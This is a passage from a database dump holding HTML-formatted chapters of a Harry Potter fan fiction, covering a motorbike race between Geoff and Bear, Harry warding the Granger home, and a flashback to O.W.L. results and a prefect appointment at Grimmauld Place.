eh?&#8221;</p>\n\n<p>&#8220;Seems like it.&#8221;</p>\n\n<p>Bear stood back up and eyed his friend. &#8220;Ye don&#8217;t sound too happy aboot it.&#8221;</p>\n\n<p>Geoff shrugged, and Harry&#8217;s ears perked up. &#8220;It&#8217;s not that I&#8217;m unhappy about it, it&#8217;s just that a little over a month ago, she just took off out of the blue because he called her. I haven&#8217;t seen or heard from her in that whole time, and now she said they&#8217;re about to leave on a trip together. I trust her judgment, Bear, but she&#8217;s been living with him for over a month, and now they&#8217;re taking an extended trip, and don&#8217;t know when they&#8217;ll be back. I&#8217;ve talked to Harry, and he told me the particulars, but I&#8217;m still worried. There&#8217;s something they&#8217;re not telling me, I know it!&#8221;</p>\n\n<p>&#8220;Ach lad, there&#8217;s nae need t&#8217; worry.&#8221; Bear patted Geoff on the shoulder. &#8220;Kids these days keep lot&#8217;s o&#8217; stuff from us old timers.&#8221;</p>\n\n<p>&#8220;I know that, Bear, but I get the feeling that what they&#8217;re involved in is more dangerous than they&#8217;re letting on.&#8221;</p>\n\n<p><i>&#8220;You have no idea just how right you are, Geoff&#8221;</i> Harry thought.</p>\n\n<p>&#8220;Now, now, Ranger, ye don&#8217;t wanna go gettin&#8217; involved in their business.&#8221;</p>\n\n<p>&#8220;I know, I know. Beside, that&#8217;s not why I came out here.&#8221;</p>\n\n<p>&#8220;Why did ye, come oot here, then?&#8221;</p>\n\n<p>&#8220;Well, I&#8217;ve got this bike for a few hours, I thought maybe you and me could take a ride.&#8221;</p>\n\n<p>Bear grinned, &#8220;Jus&#8217; let me get me bike!&#8221; He hurried into the garage, and Harry heard another powerful engine crank. Bear came wheeling out on a bright red Harley similar in design to Harry&#8217;s, but Bear&#8217;s was a chopper, with ape hangers and missing the sissy bar. Harry let out a low whistle. The bike was red with silver and blue flames on the tank. It written across the back fender was the word, &#8220;OUTLAW,&#8221; in big block letters.</p>\n\n<p>Bear pulled up next to Harry&#8217;s bike and waited for Geoff to climb aboard. &#8220;Race ya, Ranger.&#8221;</p>\n\n<p>Geoff grinned, &#8220;You better believe it!&#8221; He fired up the big bike and raised his voice over the two rumbling brutes. &#8220;On three!&#8221;</p>\n\n<p>&#8220;Ready! One! Two! Three!&#8221; Both men counted down, grinning like fools as the big bikes tore off, leaving a huge cloud of dust in their wake.</p>\n\n<p>Harry grinned, then walked over to the barn, flew up to the roof, and making himself comfortable, settled down for a nice nap. </p>\n\n<p>T.B.C.</p>\n\n<p><i>Author&#8217;s Note:</i> Sorry this took so long, lots of delays, please read and review! Keep an eye out for Chapter 6: <b>The Return of Ron</b>.</p> '),
	(107, 6, ' <p><b><i>Author&#8217;s Note</i></b><i>:&nbsp; I know most of you will threaten me again here, I may get another chapter out here in another month or so.&nbsp; I finish this one quite awhile ago, just forgot to upload it.&nbsp; Enjoy!</i></p>\n\n<p><i></i></p>\n\n<p><b><i>Disclaimer</i></b><i>:&nbsp; I don&#8217;t own Harry Potter, but I wish I did.</i></p>\n\n<p><b></b></p>\n\n<p><b>Chapter 6</b><b></b></p>\n\n<p>Harry had just closed his eyes when all of a sudden, he sat bolt upright cursing himself for seven different kinds of fool. It had occurred to him, that in their haste to get outside, neither he nor Mr. Granger had locked or even shut the front door!</p>\n\n<p>&#8220;Moody would have my head for a mistake like that!&#8221; he grumbled to himself.</p>\n\n<p>Closing his eyes again, he willed himself back to Hermione&#8217;s house, and when he opened his eyes, he was standing in the parlor looking at the open door. Cursing again, he pushed it shut and leaned his head against it. Now that he was thinking defensively, it hit him, for the first time in nearly four years, that with Voldemort trying to come back, all those he cared about would become targets once again. And, since it was inevitable that someone would spill the beans about him and Hermione, she and her parents would be at the top of the list. </p>\n\n<p>Harry growled at the thought, and set about making sure that nothing would ever happen to the Grangers. He marched to Mr. Granger&#8217;s study and retrieved a whole armload of weapons, both firearms and blades, arranging one of each type in every room of the house. He couldn&#8217;t explain how he cast the spells that would make the weapons defend the Granger house with deadly skill, he just knew what he wanted them to do, and his will made it happen. He smiled when he thought about the surprise that awaited any that crossed the Grangers&#8217; threshold with dark purposes in mind. They wouldn&#8217;t even have time to realize what had killed them.</p>\n\n<p>With the offensive measures in place, he went about setting up wards to prevent anyone from Apparating in. He couldn&#8217;t do anything about the street outside, but he could see to it that every square inch of the Grangers&#8217; property was protected, and that&#8217;s just what he did. He left the house by the back door, and skirting the pool, headed for the property line, putting up a number of wards, and early alarm spells that would alert the inside guardians to possible danger. He would have liked to have made the house unplottable, but that was not possible; it wasn&#8217;t that he couldn&#8217;t do it; it&#8217;s just that if he did, no one else would be able to come to the Grangers&#8217; aid if the guardians and wards failed.</p>\n\n<p>When Harry was satisfied that he had done everything in his more than considerable power to insure the Grangers&#8217; safety, he turned his feet towards the house and his thoughts to his last two years at Hogwarts. He wasn&#8217;t exactly sure just why he was in the mood to reminisce, but for some strange reason, he was feeling very nostalgic, and rather than fight the feeling, he embraced it. He had learned the hard way that when his subconscious had something to say, he&#8217;d damn sure better listen, and this seemed like one of those times.</p>\n\n<p><i>&#8220;I&#8217;ve never steered you wrong yet,&#8221;</i> said Hermione&#8217;s voice in his head, and he shook his head.</p>\n\n<p>&#8220;Nope, you sure haven&#8217;t.&#8221; Harry entered the Grangers&#8217; home and made his way to the living room. He plopped down on the sofa and closed his eyes, thinking back&#8230;back</p>\n\n<p><b><i></i></b></p>\n\n<p><b><i>**Five years earlier, the beginning of the Trio&#8217;s sixth year at Hogwarts**</i></b></p>\n\n<p><i></i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *A body crumpled to the floor, and he rushed forward, his wand gripped tightly in a white knuckled fist. The person&#8217;s body shifted slightly, the long, black hair turning brown, the large male form shrinking and becoming female. He dropped to his knees beside the body, his breathing ragged.</i></p>\n\n<p><i>&#8220;NO! YOU CAN&#8217;T BE DEAD! I WON&#8217;T LET YOU DIE!&#8221; He laid his hands on the girl, a bright green glow emanating from his emerald eyes. She stirred and looked up at him&#8230;</i></p>\n\n<p><i>&#8220;Harry?&#8221;</i></p>\n\n<p><i>He felt tears well up in his eyes, and he gathered her to him.</i></p>\n\n<p><i>&#8220;I&#8217;m so glad you&#8217;re safe.&#8221;</i></p>\n\n<p><i>&#8220;Me too.&#8221;</i></p>\n\n<p><i>&#8220;I don&#8217;t know what I would do without you.&#8221;</i></p>\n\n<p><i>&#8220;Harry?&#8221; the girl&#8217;s voice was husky. &#8220;I&#8230;&#8221;</i></p>\n\n<p><i>&#8220;What?&#8221; He stared into her deep brown eyes, noticing for the first time that they were like bottomless pits, just waiting for some lucky soul to fall in.</i></p>\n\n<p><i>&#8220;I&#8212;I&#8230;&#8221;</i></p>\n\n<p><i>&#8220;Harry.!&#8221; Another voice, but this one was deeper, less husky.</i></p>\n\n<p><i>He shook his head, he had to be hearing things, girls&#8217; voices didn&#8217;t sound like that, especially not hers.</i></p>\n\n<p><i>&#8220;I&#8212;I&#8212;I&#8230;&#8221; she stuttered, straining to get the words out.</i></p>\n\n<p><i>&#8220;HARRY!&#8221; No mistake this time, definitely masculine, but her smoldering eyes still bored into him and he felt a jolt both physical and emotional as she flashed a small smile.</i></p>\n\n<p><i>&#8220;Tell me,&#8221; he pleaded.</i></p>\n\n<p><i>&#8220;HARRY!&#8221; He ignored the irritating male voice and focused on the girl.</i></p>\n\n<p><i>&#8220;Please,&#8221; he begged, &#8220;I have to hear it first!&#8221;</i></p>\n\n<p><i>The girl&#8217;s eyes brightened with unshed tears, &#8220;I&#8212;I&#8212;lo&#8230;&#8221; </i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;HARRY!&#8221; Ron Weasley&#8217;s voice echoed through Harry&#8217;s room at <st1:street w:st="on"><st1:address w:st="on">12 Grimmauld Place</st1:address></st1:street>, his words cutting through the dream and waking the occupant of the room.</p>\n\n<p>&#8220;Huh?&#8221; 15-year-old Harry Potter sat up in bed, knuckling sleep from his eyes and reaching for his glasses. The memories of his nightmare left him, all but obliterated by Ron&#8217;s wake up call, the only concrete image in his head, one of deep brown eyes. </p>\n\n<p>&#8220;It&#8217;s nine o&#8217;clock, Harry, breakfast is ready, and if you want some, you&#8217;d better get downstairs on the double. Plus, the Hogwarts&#8217; letters have arrived with our O.W.L results; we&#8217;re all waiting to open them together, so hurry up!&#8221; The tall redhead wasted no time, and bounded from the room.</p>\n\n<p>&#8220;I hate when he does that.&#8221; Harry mumbled, throwing off the covers and rising to his feet. He was a thin young man, his frame beginning to show the muscle definition gained from years of hard work at his Aunt and Uncle&#8217;s house; his normally short, messy black hair had grown out and now hung in his emerald eyes, and curled down almost to his broad but bony shoulders, a style he had adopted in homage to his departed godfather, Sirius Black. Clad only in a pair of sweat pants, he headed for the shower, bumping into someone as he left his room.</p>\n\n<p>&#8220;Oof!&#8221; He grabbed the person to keep both of them balanced; he didn&#8217;t want to start the day by falling down the stairs.</p>\n\n<p>&#8220;I&#8217;m sorry, Harry!&#8221;</p>\n\n<p>Harry looked down into the same smoldering eyes he had been dreaming about.</p>\n\n<p>&#8220;Er&#8230;uh&#8230;sorry, Hermione, I should have been watching where I was going.&#8221; He noticed that she had grabbed his upper arms to keep her balance, and that the two of them were standing very close.</p>\n\n<p>&#8220;Well, if you would get that mop out of your eyes, it might facilitate matters.&#8221; She snorted, stepping back a pace.</p>\n\n<p>Harry pushed his hair back, grinning. &#8220;But, I like it this way!&#8221;</p>\n\n<p>Hermione shrugged, &#8220;It&#8217;s your funeral.&#8221; Her eyes widened suddenly as she realized what she said. &#8220;Oh, Harry! I&#8217;m sorry, I didn&#8217;t mean to say that!&#8221;</p>\n\n<p>It had been a major blow to Harry, that without a body, they were unable to have a funeral for Sirius, so he was denied even that little bit of closure. Also, the Ministry of Magic still had not exonerated him of the crimes that had landed him in Azkaban, so they were unable to announce his death, as that would as good as admit that they had been harboring a known fugitive, and that would have landed several members of the Order, as well as Harry himself, Hermione, and Ron in serious, no pun intended, trouble. </p>\n\n<p>Harry shook his head, stepped around her and headed for the bathroom, trying to reconcile the image he had in his head earlier with the real thing, and failing miserably.</p>\n\n<p>&#8220;Harry!&#8221; she said, catching up to him.</p>\n\n<p>He stopped walking, eyeing the door to the bathroom just ten feet away, then turned to face her.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;I&#8217;m here if you need someone to talk to, day or night, feel free to call on me,&#8221; Hermione&#8217;s voice was soft, and she put her hand on his arm.</p>\n\n<p>&#8220;Thanks, Hermione, but I&#8217;m fine. I just wish people would stop bugging me about this.&#8221;</p>\n\n<p>Hermione looked hurt, &#8220;Is that what you think I&#8217;m doing?&#8221;</p>\n\n<p>Harry ran his hand through his hair, &#8220;I don&#8217;t know, I don&#8217;t know anything anymore.&#8221;</p>\n\n<p>&#8220;Harry&#8230;&#8221;</p>\n\n<p>Harry raised a hand, &#8220;No. Don&#8217;t start, not right now, and not here. I&#8217;ll talk to you about it later, in private, I promise, but right now, I just want my shower, then I want to look at my letter from school.&#8221;</p>\n\n<p>Hermione shot him a defiant look, &#8220;Alright, Harry. This will keep&#8230;for now.&#8221; She turned away and went downstairs.</p>\n\n<p>Harry sighed and went in for his morning shower. While he waited for the water to warm up, he brushed his teeth.</p>\n\n<p><i>&#8220;You know I&#8217;m not going to let this go, right?&#8221;</i> Hermione&#8217;s voice echoed in his head. </p>\n\n<p>&#8220;Yeah, I know,&#8221; he said, stripping off his pants and briefs and getting in the shower. &#8220;Just please leave me alone for now though.&#8221;</p>\n\n<p><i>&#8220;Fine, this will keep&#8230;for now,&#8221;</i> the voice parroted the real Hermione&#8217;s words and he winced.</p>\n\n<p>&#8220;How did you ever get in my head?&#8221; he asked, leaning his head against the wall.</p>\n\n<p><i>&#8220;Do you really need ME to answer that? Or do you perhaps have your own ideas as to how I got here?&#8221;</i></p>\n\n<p>&nbsp;&#8220;Yeah, yeah, I know, I know. Now shut up.&#8221; Harry grabbed the shampoo and went to work on his unruly hair.&nbsp; </p>\n\n<p>When Harry finished with his shower, he realized that with everything on his mind, he had forgotten to bring a change of clothes in, and the pants he had slept in were right at that moment keeping his wet feet from touching the floor.</p>\n\n<p>He looked up at the ceiling, &#8220;Why me?&#8221; He grabbed a towel off the shelf and wrapped it around his waist, tucking the end securely into the top, and threw open the door, intending to get to his room without anything else happening to him. He wasn&#8217;t that lucky.</p>\n\n<p>He had almost made it back to his room, when his glasses slipped down his wet nose and onto the floor, before he could stop himself, his descending foot sent them sliding across the polished hardwood and through the railings of the landing. He listened and could just make out the sound of them shattering on the floor below.</p>\n\n<p>&#8220;Memo to self, have carpet put on the landings, no, never mind, scratch that, have bathroom put in my room,&#8221; Harry grumbled. He couldn&#8217;t see a thing, just vague shapes, and a huge blur; he stretched out his hands to feel his way back to his room. Of course, he wouldn&#8217;t be any better off there, because without his glasses, he wouldn&#8217;t even be able to find his clothes. He thought for a moment, then gave up; it was time to ask for help, and he knew of only one person that would not laugh at his predicament, so much as he hated to do it&#8230;.</p>\n\n<p>&#8220;HERMIONE!&#8221; he yelled, hoping she would hear him quickly.</p>\n\n<p>He waited a few seconds then shouted again; this time he got an answer.</p>\n\n<p>&#8220;What&#8217;s up, Harry?&#8221; Ginny Weasley asked from somewhere down below. </p>\n\n<p>&#8220;Nothin&#8217;, can you get Hermione for me?&#8221;</p>\n\n<p>&#8220;No need, I&#8217;m here.&#8221; Hermione said. &#8220;What is it, Harry?&#8221;</p>\n\n<p>&#8220;Uh&#8230;Could you come up here a moment?&#8221;</p>\n\n<p>&#8220;Sure, I&#8217;ll be right there.&#8221; He heard her footsteps speed up and then the <i>clomp</i> as she hit the stairs.</p>\n\n<p>&#8220;Harry!&#8221; He could hear the blush in her voice. &#8220;What are you doing out in the open like that?&#8221;</p>\n\n<p>Harry pointed at his eyes, &#8220;My glasses slipped off and fell down there,&#8221; he waved a hand in the general direction of the railing. &#8220;I can&#8217;t see anything, and rather than tempt fate even more than I usually do, I decided to do what you&#8217;re always telling me to do, which is ask for help. So, will you help me?&#8221;</p>\n\n<p>&#8220;Of course I will, but I have to ask why you in your present condition would ask me and not Ron?&#8221;</p>\n\n<p>Harry frowned, &#8220;Ron would laugh at me.&#8221;</p>\n\n<p>&#8220;Okay, Harry, the first thing we need to do is get you into your room, give me your hand.&#8221;</p>\n\n<p>Harry stuck out his hand, and immediately felt small, slender fingers wrap around his own. There was a slight tug, and he took a cautious step forward. The blurry view was disorienting, and he closed his eyes.</p>\n\n<p>&#8220;Don&#8217;t run me into any walls,&#8221; he said, grinning.</p>\n\n<p>&#8220;Harry,&#8221; Hermione warned.</p>\n\n<p>&#8220;Okay, you drive,&#8221; Harry shut up and let Hermione lead, and just a few seconds later, he was safely in his room with the door shut.</p>\n\n<p>&#8220;Alright, Harry, you stay here, and I&#8217;ll go fix your glasses, just be thankful we can perform magic inside the house without it being detected, otherwise I&#8217;d have to bring in one of the adults.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; he said, sinking down onto his unmade bed.</p>\n\n<p>&#8220;You&#8217;re welcome.&#8221; The door shut and her footsteps faded.</p>\n\n<p>In no time at all, the door was opened again and she came back in the room.</p>\n\n<p>&#8220;Boy, Harry, you really did a number on them this time! They must have been in at least a dozen pieces!&#8221;</p>\n\n<p>Harry still had his eyes closed when he felt something cool touch his face by his eyes. He felt the comfortable weight of his glasses on the bridge of his nose and he opened his eyes to find himself staring into a pair of dark brown pools that contained a strange flicker, but she blinked and it was gone.</p>\n\n<p>&#8220;There you are, Harry, good as new.&#8221; Hermione said, pushing his glasses up on his nose. Harry caught her hands before she could let go and held them tightly.</p>\n\n<p>&#8220;Thank you, Hermione, for everything.&#8221;</p>\n\n<p>&#8220;No problem, Harry,&#8221; Hermione&#8217;s cheeks turned pink but she didn&#8217;t drop her gaze. &#8220;I&#8217;m here for you, Harry.&#8221;</p>\n\n<p>&#8220;Yeah, I know.&#8221; He released her hands, but didn&#8217;t back away, and neither did she.</p>\n\n<p>&#8220;Know, what?&#8221; Ron asked, walking in and giving them both a strange look. He took in their closeness and Harry&#8217;s state of undress. &#8220;What were you guys talking about?&#8221;</p>\n\n<p>&#8220;Not much, just O.W.L.s, Hermione was telling me the same thing you did earlier, about the two of you waiting for me.&#8221; For some reason, Harry didn&#8217;t want to share what had happened with Ron. </p>\n\n<p>&#8220;Right, and I told him that I was getting tired of waiting,&#8221; Hermione said, taking her cue from him.</p>\n\n<p>&#8220;Oh, I was just wondering, because I heard you call for her,&#8221; said Ron, his eyes narrowed.</p>\n\n<p>&#8220;I wanted to ask her if she was going to continue with the D.A. as well as S.P.E.W.&#8221; said Harry.</p>\n\n<p>&#8220;It couldn&#8217;t wait until you were dressed?&#8221;</p>\n\n<p>Harry shook his head, &#8220;No, it couldn&#8217;t. I needed to know about the D.A. thing so I can owl Dumbledore and McGonagall as soon as possible, so I can set up time in my schedule this year to teach it. I figure that with Hermione&#8217;s help, I can work on the plans, while she looks up the stuff in the library.&#8221;</p>\n\n<p>&#8220;What about me?&#8221;</p>\n\n<p>&#8220;I figured you would be too busy trying to land the Quidditch captain&#8217;s position.&#8221;</p>\n\n<p>Ron&#8217;s eyes lit up, &#8220;Say, that&#8217;s right! Angelina won&#8217;t be there this year, so the captainship will be open again.&#8221;</p>\n\n<p>&#8220;Yep, now if you two will excuse me, I&#8217;d like to get dressed.&#8221; He ushered his two best friends out the door and closed it in their faces.</p>\n\n<p><i>&#8220;You lied to Ron.&#8221;</i></p>\n\n<p>&#8220;I know, and don&#8217;t start,&#8221; Harry admonished the voice in his head and set about getting ready for the day. Not really in the mood for bright, cheery colors, he chose a thin, long sleeved, black shirt, black jeans and black sneakers. He got dressed quickly, hoping that when the other occupants of the house saw him dressed in such somber colors, that they would be reminded that even if he did not act melancholy every second of the day, he was still mourning, and would appreciate some consideration.</p>\n\n<p>Harry entered the kitchen to find everyone sitting around the table discussing various things. He spotted three thick letters lying on the table next to Hermione, but instead of going and picking his up, he instead went to the stove and grabbed a few slices of bacon, slapping them between two pieces of bread, and slowly taking a bite. Ron, Ginny, and Hermione watched him, while their guardians, Remus Lupin, Nymphadora Tonks, and Alastor &#8220;Mad Eye&#8221; Moody continued their conversation.</p>\n\n<p>&#8220;Harry, c&#8217;mon! I&#8217;m dying to see how I did on the tests!&#8221; Hermione said.</p>\n\n<p>Swallowing what he had in his mouth, Harry paused a moment, &#8220;Aw, Hermione, who do you think you&#8217;re fooling? You know you aced it.&#8221;</p>\n\n<p>Hermione blushed, &#8220;Maybe, but I won&#8217;t know for sure until you finish that blasted sandwich, and for the love of Merlin, take bigger bites!&#8221;</p>\n\n<p>Harry chuckled and did as she asked, making the sandwich disappear after three more bites. He made a show of sucking each fingertip in case there were any crumbs and Hermione sighed loudly in obvious exasperation.</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>Harry took a deep breath and slowly released it, &#8220;Okay, I guess I&#8217;m ready to see how bad I did.&#8221;</p>\n\n<p>&#8220;Harry, don&#8217;t say that,&#8221; said Hermione grabbing his letter and tossing it to him. She already had hers and was about to peel it open when he cleared his throat.</p>\n\n<p>&#8220;On three, Hermione,&#8221; said Harry, looking at her and Ron. They nodded. &#8220;One.&#8221;</p>\n\n<p>&#8220;Two!&#8221; said Hermione.</p>\n\n<p>&#8220;Three,&#8221; Ron said, though nowhere near as eager as Hermione.</p>\n\n<p>The three teens tore open their letters simultaneously, and flipped to the page with the O.W.L. results.</p>\n\n<p>Hermione shrieked and fell into her chair, Harry&#8217;s eyes bugged and Ron groaned. The Trio looked at one another, then at the parchment in each other&#8217;s hands.</p>\n\n<p>&#8220;Well? What did you get?&#8221; Hermione asked. </p>\n\n<p>Ron clenched his in his fist and stuffed his hand in his pocket, muttering, &#8220;Mum is going to kill me,&#8221; as he stomped out of the room. Ginny hopped up and quickly followed.</p>\n\n<p>&#8220;How&#8217;d you do, Harry?&#8221; asked Lupin, looking up at Ron and Ginny&#8217;s departure.</p>\n\n<p>Harry still couldn&#8217;t believe his eyes, and Hermione gave him a worried look.</p>\n\n<p>&#8220;I&#8217;m sure it&#8217;s not that bad, Harry,&#8221; she said. &#8220;Here, let me see.&#8221;</p>\n\n<p>Hermione snatched the parchment from his hand and skimmed it, her eyes growing wide, before she shrieked again and smothered him in a huge hug. &#8220;Ten O.W.L.s, Harry that&#8217;s wonderful!&#8221;</p>\n\n<p>Harry was still in shock, &#8220;Er&#8230;I think they sent me your results instead.&#8221;</p>\n\n<p>&#8220;No, they&#8217;re yours. I got thirteen,&#8221; she said, blushing.</p>\n\n<p>&#8220;Thirteen? Hermione, that&#8217;s great!&#8221; Lupin dropped his teacup, while Tonks came around the table and hugged her. Moody stood up and clapped both Hermione and a still dazed Harry on the back.</p>\n\n<p>&#8220;Well done, you two.&#8221; His magic eye revolved in its socket to stare in the direction Ron had gone. &#8220;I think you should go check on Weasley.&#8221;</p>\n\n<p>Harry finally managed to get his wits about him and looked at Hermione. &#8220;Yeah, we better.&#8221;</p>\n\n<p>They left the kitchen and went to find Ron and Ginny. They found them in one of the sitting rooms, Ron with his head in his hands, and Ginny patting his shoulder.</p>\n\n<p>&#8220;What&#8217;s the damage, mate?&#8221; asked Harry, squatting down in front of him while Hermione took the seat on his other side.</p>\n\n<p>&#8220;I got seven,&#8221; Ron mumbled.</p>\n\n<p>&#8220;That&#8217;s not so bad,&#8221; said Harry. &#8220;It&#8217;s more than Fred and George got.&#8221;</p>\n\n<p>&#8220;That&#8217;s what I&#8217;ve been telling him, but he won&#8217;t listen,&#8221; Ginny piped up. &#8220;He just keeps repeating that Mum is going to kill him.&#8221;</p>\n\n<p>&#8220;Seven O.W.L.s is not bad, Ron, if you did your very best, then you have nothing to be ashamed of.&#8221; Hermione said.</p>\n\n<p>&#8220;How many did you get, twelve, like Bill?&#8221; asked Ginny. &#8220;Because Bill has gotten more O.W.L.s than anybody in the family, and seven is only five less than twelve, and that isn&#8217;t bad at all.&#8221;</p>\n\n<p>Hermione blushed crimson, &#8220;I&#8217;d rather not say.&#8221;</p>\n\n<p>&#8220;What&#8217;s wrong, Hermione?&#8221; said Ginny, &#8220;You not get as many as Bill?&#8221;</p>\n\n<p>&#8220;Yeah, Hermione, you embarrassed because you didn&#8217;t do as well as my big brother?&#8221;</p>\n\n<p>Harry started to say something, but a glance from Hermione stopped him. </p>\n\n<p>&#8220;Something like that, Ron, something like that,&#8221; she said.</p>\n\n<p>&#8220;What about you, Harry?&#8221; asked Ron. &#8220;How many did you get?&#8221;</p>\n\n<p>Harry didn&#8217;t want to hurt Ron&#8217;s feelings, so he just waved a hand, </p>\n\n<p>&#8220;About the same as you,&#8221; he said. &#8220;Those tests were tougher than I thought.&#8221;</p>\n\n<p>&#8220;Yeah, that&#8217;s what nearly everybody says after they get their results,&#8221; said Ron, perking up.</p>\n\n<p>&#8220;Maybe we should read the rest of our letters now,&#8221; said Hermione, carefully folding her results and putting them in the hip pocket of her jeans. She raised her letter and Harry and Ron did the same.</p>\n\n<p><i></i></p>\n\n<p><i>Mr. Potter,</i></p>\n\n<p><i></i></p>\n\n<p><i>You know the routine by now, so I shall dispense with everything that is inconsequential. Your O.W.L. results are included in this letter, and I would like to congratulate you on a job well done. I expect to see you putting one hundred percent of your effort into your studies this year, only by doing this, will you achieve your goal of becoming an Auror.</i></p>\n\n<p><i>&nbsp;Your life time Quidditch ban is still in effect, and due to massive amounts of legislation passed by Minister Fudge during Ms. Umbridge&#8217;s reign here, it is proving more difficult to lift than we had thought possible. Rest assured though. If there is any way for you to be placed back on the team, I shall find it.</i></p>\n\n<p>Harry frowned, but wasn&#8217;t really upset. Quidditch belonged to his past, a time when Sirius was still alive and he wasn&#8217;t aware of the prophecy, when winning the Quidditch Cup was one of his primary goals at school. Now, he found that he wasn&#8217;t anxious to risk his Firebolt, his first present from his godfather, in a frivolous game. He knew that with his ban still in effect, he would have an ironclad reason why he wasn&#8217;t playing, and the thought comforted him. He wasn&#8217;t letting his teammates down, because it wasn&#8217;t his fault that he wasn&#8217;t allowed to play. He continued reading.</p>\n\n<p><i>&nbsp;The Headmaster and I have decided that due to your performance and fulfillment of your obligations last year, as well as the events that transpired, you have shown that you could have handled being Prefect, so as of this moment, that mistake has been rectified, your Prefect badge is enclosed, remember, you are a role model, and I expect you to conduct yourself as such. </i></p>\n\n<p><i>It is the fervent wish of both the Headmaster and myself, that you continue your D.A. class, and though you may loathe the idea, you should think about admitting Slytherin students as well as the other three houses. Your Prefect status should give you some modicum of control over them as opposed to brute force as is your normal method of dealing with them. Since you no longer have Quidditch to worry about, you may schedule your D.A. classes around the practice times of each team.&nbsp; I fully expect a lesson plan for the entire year, on my desk the day after you return to school. I suggest you entice Ms. Granger into taking care of that for you. For your efforts, the both of you shall receive standard teaching wages, and admittance to staff meetings. The information you learn at such meetings, is of course strictly confidential, and is not to be spoken of where others might overhear. Because of this, your rooms shall have a silencing charm placed upon them, so that the two of you may converse without fear of anyone eavesdropping. In addition, as teachers, the two of you are no longer bound by the Restriction of Underage Magic, and on top of your other studies, you shall receive Apparation training.</i></p>\n\n<p><i>I look forward to this year, for I sense that things are about to get better.</i></p>\n\n<p><i>Your book list is included, as is the sheet you need to fill out for this year&#8217;s classes you wish to take.</i></p>\n\n<p><i></i></p>\n\n<p><i>Sincerely,</i></p>\n\n<p><i></i></p>\n\n<p><i>Minerva McGonagall</i></p>\n\n<p><i>(Deputy Headmistress)</i></p>\n\n<p><i>&#8220;Well, that certainly wasn&#8217;t a normal school letter.&#8221; </i>Harry thought. <i>&#8220;Whoa, Hermione and me, teachers, on top of being Prefects, and no more restrictions on our magic? Wow!&#8221;</i></p>\n\n<p>Harry carefully turned up the envelope that he still clutched in his other hand, secretly palming the shiny, red and gold badge before anyone noticed. He slipped it in his pocket, along with the envelope, and flipped to his book list. His eyes ran down the page, noticing that it was the standard fare, just for the appropriate year. He looked up to see Hermione flash him a smile as she openly turned up her envelope and caught the Prefect badge inside. Ginny looked up as she did so and frowned.</p>\n\n<p>&#8220;Ron, where&#8217;s your badge this year?&#8221;</p>\n\n<p>Ron&#8217;s head was back in his hands. &#8220;I lost it.&#8221;</p>\n\n<p>&#8220;What do you mean, you lost it? You were supposed to turn it in to Professor McGonagall before leaving the school!&#8221; Hermione said, glaring at him.</p>\n\n<p>&#8220;I didn&#8217;t lose it; they took it away from me!&#8221; Ron bellowed, and stormed out of the room, Ginny again hot on his heels.</p>\n\n<p>&#8220;Ron, wait up, it&#8217;s not the end of the world!&#8221;</p>\n\n<p>&nbsp;Harry felt bad for his friend, but given Ron&#8217;s performance last year, he hadn&#8217;t been the model Prefect like Hermione had. </p>\n\n<p>&#8220;You got it, didn&#8217;t you.&#8221; It wasn&#8217;t a question, and Harry blushed.</p>\n\n<p>&#8220;Yeah, but I never would have taken it from him,&#8221; he said, grimacing, &#8220;not in a million years.&#8221;</p>\n\n<p>&#8220;Don&#8217;t blame yourself, Harry, Professor Dumbledore obviously feels that you&#8217;re more capable of handling the responsibility, or he wouldn&#8217;t have given it to you.&#8221;</p>\n\n<p>&#8220;I know, but it meant so much to Ron.&#8221;</p>\n\n<p>&#8220;Harry, you and I both know that Ron only liked being a Prefect because of the power it gave him over the other students.&#8221;</p>\n\n<p>&#8220;Yeah, I know that too, and speaking of power over other students, McGonagall and Dumbledore want me to continue teaching the D.A. and they want me to include any Slytherins that might be interested.&#8221; Harry snorted, &#8220;Can you believe that?&#8221;</p>\n\n<p>Hermione nodded, &#8220;Yes, I can. With everything that has happened, inter-house relations are abysmal, and this might just help bridge that gap.&#8221;</p>\n\n<p>&#8220;Another thing, McGonagall wants&#8230;here, just read this,&#8221; he handed her the letter and took the chair Ron had vacated.</p>\n\n<p>Harry watched Hermione&#8217;s eyes track slowly across the page as she read the letter. When she finished she handed it back to him and beamed.</p>\n\n<p>&#8220;That&#8217;s wonderful! Harry, we&#8217;re going to be teachers, real, paid teachers! Oh, I can&#8217;t believe it; I just can&#8217;t believe it! I have to tell Mum and Dad! Can I borrow Hedwig?&#8221; she said all this in a rush, and Harry smiled.</p>\n\n<p>&#8220;Hermione, you should know by now that you can borrow her anytime you like.&#8221;</p>\n\n<p>Hermione blushed, &#8220;Well, it&#8217;s just polite to ask, you know.&#8221;</p>\n\n<p>&#8220;Yeah, I know, now get out of here and go tell them the great news,&#8221; he said. &#8220;I&#8217;m gonna go talk to Lupin, Moody, and Tonks and tell them to keep quiet about our results.&#8221;</p>\n\n<p>&#8220;Good idea, Harry,&#8221; Hermione started to take off, but stopped and flung her arms around his neck. &#8220;Congratulations on the Prefecture, and I&#8217;m sorry you can&#8217;t play Quidditch.&#8221;</p>\n\n<p>Harry hugged her back, and then stepped away. &#8220;Thanks, and I wasn&#8217;t going to play this year anyway.&#8221;</p>\n\n<p>Hermione&#8217;s eyes bugged out, her eyebrows shot up, and her jaw dropped. Harry could see she was more surprised by his statement than she had been by her 13 O.W.L.s <i>or</i> McGonagall&#8217;s letter.</p>\n\n<p>&#8220;You weren&#8217;t?&#8221; she asked.</p>\n\n<p>Harry shook his head, &#8220;No, I have more important things to do than worry about that, besides, I&#8217;m not going to risk anything happening to my Firebolt, Siri&#8212;Sirius gave it to me, and no silly game is worth it possibly getting damaged.&#8221; &nbsp;</p>\n\n<p>&#8220;Harry&#8230;&#8221; Hermione shook her head, &#8220;I can&#8217;t tell you how proud I am of you.&#8221;</p>\n\n<p>Harry shrugged, &#8220;Hey, we all have to grow up sometime, right?&#8221; he said, his voice choked.</p>\n\n<p>&#8220;I&#8212;I&#8212;I don&#8217;t&#8212;don&#8217;t know what to say, Harry,&#8221; Hermione was near tears herself, &#8220;that is a very mature attitude to take.&#8221;</p>\n\n<p>Harry shook himself out 